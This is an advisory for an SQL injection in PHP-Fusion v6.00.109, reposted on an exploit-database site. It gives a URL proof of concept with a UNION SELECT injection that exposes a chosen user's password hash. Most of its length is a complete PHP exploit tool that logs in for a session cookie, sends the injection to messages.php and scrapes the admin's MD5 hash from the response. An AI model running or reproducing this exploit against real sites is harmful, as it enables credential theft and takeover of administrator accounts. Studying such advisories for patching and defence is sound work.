PHP-Fusion v6.00.109 SQL Injection / admin|users credentials disclosure

Advisory Content :

PHP-Fusion v6.00.109 SQL Injection / admin|users credentials disclosure

site: http://www.php-fusion.co.uk

- if magic_quotes off -> SQL Injection, poc:

http://[target]/[path_to_Php_Fusion]/messages.php?msg_send=' UNION SELECT
user_password FROM fusion_users WHERE user_name='[admin_username]'/*

now hash is showed in "To:" field when you post a private message

this is the tool:

<?php
# 19.17 28/09/2005
#
#
#
# -- PhpF6_00_109xpl.php
#
#
#
# PHP-Fusion v6.00.109 SQL Injection / admin|users credentials disclosure
#
#
#
# by rgod
#
# site: http://rgod.altervista.org
#
#
#
# mphhh, private messages again...tze,tze
#
#
#
# make these changes in php.ini if you have troubles
#
# to launch this script:
#
# allow_call_time_pass_reference = on
#
# register_globals = on
#
#
#
# usage: launch this script from Apache, fill requested fields, then
#
# go!
#
#
#
# Sun-Tzu: "Therefore the clever combatant imposes his will on the enemy,
#
# but does not allow the enemy's will to be imposed on him"
#

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo'<head><title> *** PHP-Fusion v6.00.109 SQL Injection *** </title>
<meta
http-equiv= "Content-Type" content="text/html; charset=iso-8859-1">
<style
type="text/css"> </style></head><body> <p class="Stile6">
Php-Fusion v6.
00.109 SQL Injection / admin|user credentials disclosure </p><p
class="Stile6">
a script by rgod at <a href="http://rgod.altervista.org"
target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%">
<form
name="form1" method="post"
action="'.$SERVER[PHP_SELF].'?path=value&host=value
&port=value&proxy=value&user=value&pass=value&username=value"> <p>
<input
type="text" name="host"><span class="Stile5"> hostname ( ex:
www.sitename.com )
</span></p> <p> <input type="text" name="path"><span class="Stile5"> path
(ex:
/phpfusion/ or just /)</span></p><p> <input type="text" name="port">
<span
class="Stile5">specify a port other than 80 (default value)</span></p><p>
<input
type="text" name="user"> <span class="Stile5">your username </span> </p>
<p>
<input type="text" name="pass"> <span class="Stile5">your password ( to
get a
valid session cookie) </span></p><p><input type="text" name="username">
<span
class="Stile5">user whom you want the password </span></p><p><input
type="text"
name="proxy"> <span class="Stile5"> send exploit trough an HTTP proxy
</span>
</p> <p> <input type="submit"name="Submit" value="go!"> </p></form> </td>
</tr>
</table></body></html>';

function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td> </td>";
}

for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
}

$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';

function sendpacket()
{
global $proxy, $host, $port, $html, $packet;
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);}
else
{
if (!eregi($proxy_regex,$proxy))
{echo htmlentities($proxy).' -> not a valid proxy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
fputs($ock,$packet);
if ($proxy=='')
{
$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,2048);
}
}
fclose($ock);
echo nl2br(htmlentities($html));
}

if (($path<>'') and ($host<>'') and ($user<>'') and ($pass<>'') and
($username<>''))
{
if ($port=='') {$port=80;}

#STEP 1 -> login, to retrieve a session cookie...

$data="user_name=".urlencode(trim($user))."&user_pass=".urlencode(trim($
pass))."&login=Login";
if ($proxy=='')
{$packet="POST ".$path."news.php HTTP/1.1rn";}
else
{$packet="POST http://".$host.$path."news.php HTTP/1.1rn";}

$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/msword, */*rn";
$packet.="Referer: http://".$host.$path."/news.phprn";
$packet.="Accept-Language: enrn";
$packet.="Content-Type: application/x-www-form-urlencodedrn";
$packet.="Accept-Encoding: gzip, deflatern";
$packet.="User-Agent: Googlebot/2.1rn";
$packet.="Host: ".$host."rn";
$packet.="Content-Length: ".strlen($data)."rn";
$packet.="Connection: Keep-Alivern";
$packet.="Cache-Control: no-cachern";
$packet.="Cookie: fusion_visited=yes;
PHPSESSID=44ab49664b56b97036425427b1ffb8cfrnrn";
$packet.=$data;
show($packet);
sendpacket($packet);
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(' ',$temp[1]);
$cookie=$temp2[0];
echo '<br>Your cookie: '.htmlentities($cookie);

# STEP 2 -> SQL Injection, now retrieve the MD5 password hash from
database
$username=str_replace("'","",$username);
$sql="' UNION SELECT user_password FROM fusion_users WHERE
user_name='".trim($username)."'/*";

if ($proxy=='')
{$packet="GET ".$path."messages.php?msg_send=".urlencode($sql)."
HTTP/1.1rn";}
else
{$packet="GET
http://".$host.$path."messages.php?msg_send=".urlencode($sql)."
HTTP/1.1rn";}

$packet.="User-Agent: GameBoy, Powered by Nintendorn";
$packet.="Host: ".$host."rn";
$packet.="Accept: text/html, application/xml;q=0.9, application/xhtml+xml,
image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1rn";
$packet.="Accept-Language: enrn";
$packet.="Accept-Charset: windows-1252, utf-8, utf-16, iso-8859-1;q=0.6,
*;q=0.1rn";
$packet.="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0rn";
$packet.="Cookie: ".$cookie."rn";
$packet.="Cookie2: $Version=1rn";
$packet.="Connection: Keep-Alive, TErn";
$packet.="TE: deflate, gzip, chunked, identity, trailersrnrn";
show($packet);
sendpacket($packet);
if (eregi('For Members only',$html)) {echo 'You have to specify a valid
session cookie...'; die; }
$temp=explode("'Click to view the senders profile'>",$html);
$temp2=explode("</a>",$temp[1]);
$hash=$temp2[0];
echo '<br>Username: '.htmlentities($username).' Password hash: '.$hash;

}
else
{ echo '<br> Fill requested fields, optionally specify a proxy...';}

?>

rgod
site: http://rgod.altervista.org
mail: retrogod (at) aliceposta (dot) it [email concealed]
original advisory:
http://rgod.altervista.org/phpfusion600109.html

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason

PHP-Fusion v6.00.109 SQL Injection / admin|users credentials disclosure